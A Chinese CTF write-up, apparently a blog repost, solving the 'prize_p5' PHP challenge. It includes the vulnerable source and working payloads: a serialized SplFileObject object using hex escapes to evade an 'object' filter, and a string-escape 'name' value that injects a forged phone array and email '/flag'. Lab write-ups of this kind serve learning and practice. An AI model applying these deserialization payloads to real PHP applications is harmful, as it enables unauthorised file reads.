首页 > 其他分享 >prize_p5 复现

prize_p5 复现

时间:2023-06-25 17:25:02浏览次数:40  
标签:name abscond p5 public phone 复现 POST email prize

很有意思的一道题目,预期解就是通过字符串逃逸去读取flag非预期就是通过十六进制利用原生类去读取flag

 

<?php
error_reporting(0);

class catalogue{
   public $class;
   public $data;
   public function __construct()
  {
       $this->class = "error";
       $this->data = "hacker";
  }
   public function __destruct()
  {
       echo new $this->class($this->data);
  }
}
class error{
   public function __construct($OTL)
  {
       $this->OTL = $OTL;
       echo ("hello ".$this->OTL);
  }
}
class escape{                                                                  
   public $name = 'OTL';                                                
   public $phone = '123666';                                            
   public $email = '[email protected]';                          
}
function abscond($string) {
   $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
   $filter = '/' . implode('|', $filter) . '/i';
   return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
   if(!preg_match('/object/i',$_GET['cata'])){      //这个object就是object字符串 所以用原生类去读取的时候会被过滤掉
       unserialize($_GET['cata']);
  }
   else{
       $cc = new catalogue();
       unserialize(serialize($cc));          
  }    
   if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
       if (preg_match("/flag/i",$_POST['email'])){
           die("nonono,you can not do that!");
      }
       $abscond = new escape();
       $abscond->name = $_POST['name'];
       $abscond->phone = $_POST['phone'];
       $abscond->email = $_POST['email'];
       $abscond = serialize($abscond);
       $escape = get_object_vars(unserialize(abscond($abscond)));
       if(is_array($escape['phone'])){
       echo base64_encode(file_get_contents($escape['email']));
      }
       else{
           echo "I'm sorry to tell you that you are wrong";
      }
  }
}
else{
   highlight_file(__FILE__);
}
?>

先来说一下非预期解:

非预期就是利用Globlterator 去读取flag的具体位置,但是环境可能出了点问题,出不来,看其他的wp是 /flag

用SplFileObject 去读取的时候object会被过滤掉

但是有一种方法就是利用十六进制

O:9:"catalogue":2:{s:5:"class";s:13:"SplFileObject";s:4:"data";s:5:"/flag";}

把SplFileObject前面的那个小写的s替换成大写的S 然后后面的Object任意一个字符替换成十六进制

Object对应的十六进制是\x4F\x62\x6A\x65\x63\x74 然后传的时候把x去掉

 

然后下面是预期解 通过字符串逃逸

这个题的话可以通过字符串逃逸增加,也可以通过字符串逃逸减少 下面介绍一下字符串逃逸增加的用法

字符串逃逸增加:

我这个是通过NSS来的,你通过其他的比hacker少的字符来的话都可以其实

先来看下面这段代码:

 if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
       if (preg_match("/flag/i",$_POST['email'])){
           die("nonono,you can not do that!");
      }
       $abscond = new escape();
       $abscond->name = $_POST['name'];
       $abscond->phone = $_POST['phone'];
       $abscond->email = $_POST['email'];
       $abscond = serialize($abscond);
       $escape = get_object_vars(unserialize(abscond($abscond)));
       if(is_array($escape['phone'])){
       echo base64_encode(file_get_contents($escape['email']));
      }
       else{
           echo "I'm sorry to tell you that you are wrong";

这个首先对email的值进行了一个/flag的检测,(不区分大小写)

然后分别POST传参三个参数 abscond这个函数就是进行一个替换 'NSS', 'CTF', 'OTL_QAQ', 'hello' 如果匹配到了上面四个值的话,就会替换成hacker

接下来进行一个反序列化,get_object_vars这个函数的意思可以看看以下演示的理解一下

总的说就是用于获取指定对象的属性和值,并返回一个关联数组。

class Person {
   public $name;
   public $age;

   public function __construct($name, $age) {
       $this->name = $name;
       $this->age = $age;
  }
}

$person = new Person("John Doe", 25);

$vars = get_object_vars($person);
print_r($vars);

输出结果:

Array
(
  [name] => John Doe
  [age] => 25
)

最后的那个if判断就是如果phone是一个数组的话,就把以email为路径的文件内容给读取并以字符串的形式给打印出来

最后把内容进行一个base64加密

分析完后我们通过字符串逃逸的方式,将email的值设为/flag,然后把它给放到name里面去,让它变成一个name的值

这样就绕过了对email的一个检测

先来看一下简单的一个测试:

<?php
class escape{
   public $name = 'Nq';
   public $phone = array('aa');
   public $email = '/flag';
}
$a=new escape();
$b=serialize($a);
echo $b;
?>

结果如下:

O:6:"escape":3:{s:4:"name";s:2:"Nq";s:5:"phone";a:1:{i:0;s:2:"aa";}s:5:"email";s:5:"/flag";}

我们要做的就是将";s:5:"phone";a:1:{i:0;s:2:"aa";}s:5:"email";s:5:"/flag";}这个给变成name的一个值

字符串逃逸的话可以去看看我的这篇博客 (初学者,是自己对反序列化逃逸的一个理解)

上面我们要塞进去的有58个字符,有一点点长啊

一个NSS可以逃逸出3个字符,根据计算我们要19个NSS加一个hello

name的值就是: name=NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSShello";s:5:"phone";a:1:{i:0;s:2:"aa";}s:5:"email";s:5:"/flag";}

然后phpone的值随便输就行,注意的是emial的值不能是/flag,其他的都可以

 

``````````

标签:name,abscond,p5,public,phone,复现,POST,email,prize
From: https://www.cnblogs.com/mrfs/p/17503431.html

相关文章

  • P5JS学习笔记
    //启动方法,自动执行functionsetup(){createCanvas(400,400);}//绘画执行方法,自动执行,按设定好的帧数绘制functiondraw(){background(25);ellipse(50,50,80,80);//画圆//鼠标按下事件if(mouseIsPressed){//改变背景色fill(0);}else{fill(255......
  • P5395 第二类斯特林数·行
    求\(s(n,i),i\len,n\le2^{18}\)\(k^n=\sum_{i=1}^ks(n,i)i!C(k,i)\)设\(f_k=k^n,g_i=s(n,i)i!\)\(f_k=\sum_{i=0}^kg_iC(k,i)\)由二项式反演\(g_k=\sum_{i=0}^k(-1)^{k-i}f_iC(k,i)\)展开来\(s(n,k)k!=\sum_{i=0}^k(-1)^{k-i}i^nC(k,i)\)即\(s(n,k)=\sum_{i=......
  • 论文专利复现1-微光夜视鱼眼镜头的研究与设计
    论文专利复现1-微光夜视鱼眼镜头的研究与设计-(上)原文阅读与分析 参考文献:[1]高秋娟,徐云辉,姜华,狄世超,贺永喜.微光夜视鱼眼镜头的研究与设计[J].光学与光电技术,2021,19(04):80-85.DOI:10.19519/j.cnki.1672-3392.2021.04.012.结构要求:1、工作波长为0.587μm、0.656μm......
  • P52Demo3.1
    .386STACKSEGMENTUSE32DB200DUP(0)STACKENDSDATASEGMENTUSE16NUMDB11H,22H,33H,44HNENDDB0LENEQUNEND-NUM;不能直接用LENEQULEN-NUM,会导致宏嵌套太深DATAENDSCODESEGMENTUSE16ASSUMECS:CODE,DS:DATA,SS:STACKSTART......
  • 寻址(P50)
    MOVBL,BUF+2;0DH->BL;方式1 MOVSI,OFFSETBUF;方式2 MOVBX,2[SI] ; MOVEAX,OFFSETBUF;方式3 MOVBX,[EAX+2]masm611;MOVEAX,OFFSETBUF;方式3MOVBX,[EAX+2]改成MOVAX,OFFSETBUF;不行!......
  • 深度学习计算机视觉相关代码可复现论文整理分享
    因此,作为【论文复现项目】的补充,本项目的宗旨也是让世界上没有难读的论文。目录内容截图......
  • P5391 [Cnoi2019]青染之心
    P5391[Cnoi2019]青染之心洛谷:P5391[Cnoi2019]青染之心Solution把每次(add)询问看成一个节点,原问题相当于以dfs序给定一棵树,对每个节点求其到根的一条链上做一遍完全背包的答案。考虑直接树形转移,时间复杂度为\(O(qV)\),可以接受。但空间复杂度就不行了。最无脑的dp设计就......
  • Nginx 解析漏洞复现、利用
    1、漏洞复现用vulhub复现该漏洞vubhub环境搭建:https://blog.csdn.net/weixin_59679023/article/details/123739030nginx解析漏洞:https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability/打开终端输入:cdvulhub/nginx/nginx_parsing_vulnerability/sudodocker-co......
  • P5717 【深基3.习8】三角形分类
    【深基3.习8】三角形分类题目描述给出三条线段$a,b,c$的长度,均是不大于$10000$的正整数。打算把这三条线段拼成一个三角形,它可以是什么三角形呢?如果三条线段不能组成一个三角形,输出Nottriangle;如果是直角三角形,输出Righttriangle;如果是锐角三角形,输出Acutetriangle;......
  • P5716 【深基3.例9】月份天数
    【深基3.例9】月份天数题目描述输入年份和月份,输出这一年的这一月有多少天。需要考虑闰年。输入格式输入两个正整数,分别表示年份$y$和月数$m$,以空格隔开。输出格式输出一行一个正整数,表示这个月有多少天。样例#1样例输入#119268样例输出#131样例#2样例输入......